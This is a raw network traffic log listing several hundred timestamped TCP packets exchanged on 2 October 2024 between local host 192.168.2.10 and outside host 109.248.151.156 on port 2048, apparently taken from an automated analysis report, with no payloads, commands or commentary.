Oct 2, 2024 05:23:20.730964899 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.730972052 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.730976105 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.730983973 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.730989933 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731000900 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731019020 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731034040 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.731034040 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731034040 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.731045961 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731086016 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.731101036 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731112957 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731112957 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.731184959 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731184959 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.731194973 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731206894 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731219053 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731230021 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731234074 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.731322050 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.731328011 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731339931 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731353998 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731364965 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731379032 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731400967 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.731400967 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.731437922 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.731534958 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731550932 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731561899 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731573105 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731585026 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731595039 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731605053 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.731606960 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731617928 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731626034 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.731630087 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731642008 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731658936 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731661081 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.731661081 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.731671095 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.731717110 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.731771946 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.731981039 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.816215992 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816245079 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816256046 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816267967 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816294909 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.816308022 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816318989 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816328049 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.816332102 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816344023 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816365957 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.816365957 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816376925 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816390038 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816394091 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.816416979 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.816432953 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816478968 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.816509008 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816519976 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816531897 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816548109 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816569090 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.816591978 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.816660881 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816673994 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816684961 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816696882 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816709042 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816719055 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.816720963 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816732883 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816742897 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.816772938 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.816783905 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816795111 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816822052 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.816847086 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816859007 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816870928 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.816886902 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.816921949 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.816998959 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817009926 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817019939 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817029953 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817039967 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817049026 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.817053080 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817063093 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817075968 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817118883 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.817118883 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.817118883 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.817147017 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817157984 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817168951 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817182064 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817193031 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817205906 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.817251921 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.817279100 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817291975 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817303896 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817316055 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817326069 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817351103 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.817351103 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.817384958 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.817452908 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817464113 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817476034 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817486048 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817497969 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817517042 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817528009 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817531109 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.817531109 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.817573071 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817584991 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817596912 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817605972 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817611933 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.817611933 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.817668915 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.817709923 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817722082 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817733049 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817744970 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817755938 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817768097 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817779064 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817783117 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.817783117 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.817790985 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817807913 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.817811012 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.817831039 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.817920923 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.818006039 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818017960 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818027973 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818039894 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818052053 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818062067 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818073034 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818084955 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818095922 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818108082 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818113089 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.818113089 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.818119049 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818152905 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.818152905 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.818245888 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818255901 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818267107 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818280935 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818291903 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818310022 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.818310976 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.818332911 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818346024 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818356991 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818362951 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.818407059 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.818480015 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818490028 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818501949 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818512917 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818522930 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818536997 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818547964 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818559885 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818569899 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818577051 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.818584919 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818613052 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.818613052 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.818613052 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.818717957 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818730116 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818741083 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818752050 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818763971 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818775892 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818790913 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.818790913 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.818875074 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818885088 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818902016 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.818905115 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818914890 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.818917990 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818928003 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818939924 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818948984 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.818950891 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818963051 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818973064 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.818975925 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818988085 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.818996906 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.819013119 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.819013119 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.819067955 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.819118977 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.819130898 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.819142103 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.819154024 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.819195986 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.819195986 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.819269896 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.819281101 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.819293022 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.819303036 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.819314003 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.819325924 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.819336891 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.819341898 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.819343090 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.819350004 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.819361925 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.819405079 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.819405079 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.819469929 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.904620886 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.904639959 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.904653072 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.904664040 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.904681921 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.904694080 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.904705048 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.904716969 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.904731035 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.904742956 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.904742956 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.904859066 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.904870033 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.904896975 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.904896975 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.905009985 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905020952 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905031919 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905042887 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905067921 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.905086994 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.905148983 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905159950 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905170918 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905181885 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905191898 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.905194044 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905205965 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905236006 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.905236006 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.905283928 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905301094 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905312061 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905323982 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905328989 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.905376911 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.905472040 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905483961 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905494928 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905507088 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905518055 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905524015 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.905545950 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.905608892 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.905628920 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905642033 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905653000 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905663967 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905678034 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.905755043 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.905793905 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905806065 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905816078 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905826092 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905838013 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905857086 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.905945063 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.905966043 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905977011 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.905987978 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.906006098 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.906007051 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.906023026 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.906034946 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.906045914 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.906061888 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.906061888 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.906104088 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.906120062 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.906131029 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.906189919 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.906301975 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.906312943 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.906325102 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.906337976 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.906349897 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.906363010 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.906398058 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.906444073 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.906454086 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.906465054 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.906476021 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.906487942 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.906492949 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.906505108 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.906544924 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:20.906604052 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.906615973 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.906626940 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:20.906640053 CEST	2048	49704	109.248.151.156	192.168.2.10
